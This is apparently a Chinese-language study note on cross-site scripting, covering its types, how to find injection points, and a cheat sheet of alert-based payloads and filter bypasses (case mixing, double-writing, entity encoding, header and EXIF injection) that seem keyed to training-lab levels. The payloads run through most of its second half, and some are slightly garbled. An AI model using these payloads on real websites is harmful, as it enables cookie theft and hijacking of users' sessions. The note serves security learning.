Xss基础
概念(跨站脚本攻击)
利用网页开发时留下的漏洞,通过注入恶意指令代码到网页,从而对用户进行攻击
Xss和sql的区别
Xss和sql注入攻击的指令都是由黑客通过用户输入域注入的,但xss注入的是html,而sql注入的是sql命令
Xss和sql注入都利用了web服务器没有对用户输入数据进行严格的检查和有效过滤的缺陷
Xss攻击盗取web终端用户的敏感数据,甚至控制用户终端操作;sql注入攻击盗取web后台数据库中的敏感数据,甚至控制整个数据库服务器
Xss类型
反射型xss
存储型xss
DOM型xss
xss类型之间的区别
| 攻击对象 | 解析位置 | 存储时间 | 输入点 |
反射型xss | 需要自己取找寻攻击对象,向攻击对象发送特定的url,并且被攻击者要点进链接后,才能进行攻击,所以攻击范围不是很广 | 浏览器 | 只能即使即用,没有持久性 (必须要被攻击用户点击特定的url才可以进行攻击) | 一般在搜索框或者页面跳转这些地方 |
存储型xss | 通过广撒网或者其它指定的方式,将存储型xss放在具有xss漏洞的网站上,只要有用户去点击,即可进行攻击,也可以自己去找寻攻击对象,所以攻击范围更广 | 服务器 | 可以存储进服务器(只要服务器中有存储型xss就可以进行攻击) | 一般在留言或者用户存储的地方 |
DOM型xss (DOM反射型xss) | 攻击方式和反射型xss差不多,都是向攻击对象发送url | 浏览器 |
| 是在DOM位置上,不取决于输入环境上
|
反射型xss漏洞的查找
直接查看网页的url里面是否存在参数,有参数存在则存在反射型xss
存储型xss漏洞的查找
直接在留言框或可以输入输出的地方输入要注入的代码
DOM型xss漏洞(反射型DOM)
该类型xss是不需要经过后端,直接在服务器前端js渲染即可完成反射型DOMxss,前端js渲染过程在赋值处理中造成闭合形成一个新的标签再次解析,从而导致DOM型xss的形成
Xss辅助测试工具
Beef
Xss’or
IE Tester
有些网页利用了转义字符(keyword和value)
Keyword的闭合方式是双引号
Value的闭合方式有两种:单引号和双引号
如何判断value使用的是单引号还是双引号的方法:
输入’“>三个字符测试闭合,查看文本框内的内容
文本框无内容就是单引号,有内容为且内容为’即为双引号
Xss一般的攻击代码如下
<script>alert(‘yes’);</script>
<script>alert(document.cookie);</script> 获取cookie
Onfocus=javascript:alert(‘xss’)>
‘Onfocus=’alert(123) 当用户输入时才运行的脚本
无过滤机制
<script>alert(‘111’)</script>
新建标签(当发现常规的被过滤掉时所采用)
"><a href=javascript:alert(1)>xss</a>
单引号+事件响应
'οnclick='alert(111)
双引号+事件响应
“οnclick=“alert(111)
超链接
“><ahref=’javascript:alert(1)’>tjy</a>
大小写绕过(也可以用其他的代码,只要里面含有大写就可以实现大小写绕过)
“ONclick=’javascript:alert(1)
“><aHref=’javascript:alert(1)>xss</a>
双写绕过(找到被过滤的代码,写两份,其中一份包含在写好的一份中,这样就可以实现双写绕过)
编码绕过(当发现常用的代码直接写入html中,没有任何反应时,可以猜想一下是否为编码绕过,这里需要用到工具,这里必须要用到伪协议)
HTML字符实体转换,网页字符实体编码 (qqxiuzi.cn) (这是工具网址)
使用伪协议:javascript:alert(1),将ri使用工具转化成ri
javascript:alert(1)
检测关键字(还是和编码绕过一样,但后台源码中加入了其他的东西,例如strpos函数,这个意思是输入的字符串里面必须要有某些特定的字符(http://)而我们可以把它加上在注释掉就行了)
javascript:alert(1)//http://
隐藏的信息(这里会有几个参数,而我们则要判断出哪个参数可以时我们自己传参的,然后通过更改参数重而达到自己的目的)
1&t_sort=1"οnclick='javascript:alert(1)' type=button >//
Type=button 将其转化成输入框,从而和Onclick结合
1&t_sort=1" οnclick=‘javascript:alert(1)’ type=button >//
referer信息(这个关卡需要用到抓包工具,需要修改referer的值)
Referer:1"οnclick='javascript:alert(1)'type=button >//
User-agent信息(这个关卡需要用到抓包工具,需要修改user-agent的值)
User-Agent:1"οnclick='javascript:alert(1)' type=button > //
Cookie信息(这个关卡需要用到抓包工具,需要修改cookie的值)
Cookie:1" οnclick='javascript:alert(1)' type=text > //
Exif xss(这种类似于上传文件的漏洞)
Exif是可交换图像文件格式,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
这里是将xss写到exif里,exif是PSP扩展,如果要用exif_read_data函数记得开启扩展
一下是xss代码
<?php
$exif = exif_read_data(‘test.jpg);
Var_dump($exif);
?>
Ng-include属性(没太看懂,但可以使用新标签去解)
<ahref=”javascript:alert(1)”>xss</a>’
或者
<img src=1οnerrοr=alert(1)>’
空格实体转义
使用URL编码将回车符转换为%0d(或换行符%0a)替代即可。
<img%0dsrc=1%0dοnerrοr=alert(1)>
参数拼接-1(这里有个swf文件没有被加载出来,swf文件:即shockwave flash文件,能被flash player打开)
?arg01=onmouseover&arg02=alert(1)
或者
?arg01=a&arg02=bοnmοuseοver=alert(1)
参数拼接-2
?arg01=onmouseover&arg02=alert(1)
或者
?arg01=a&arg02=bοnmοuseοver=alert(1)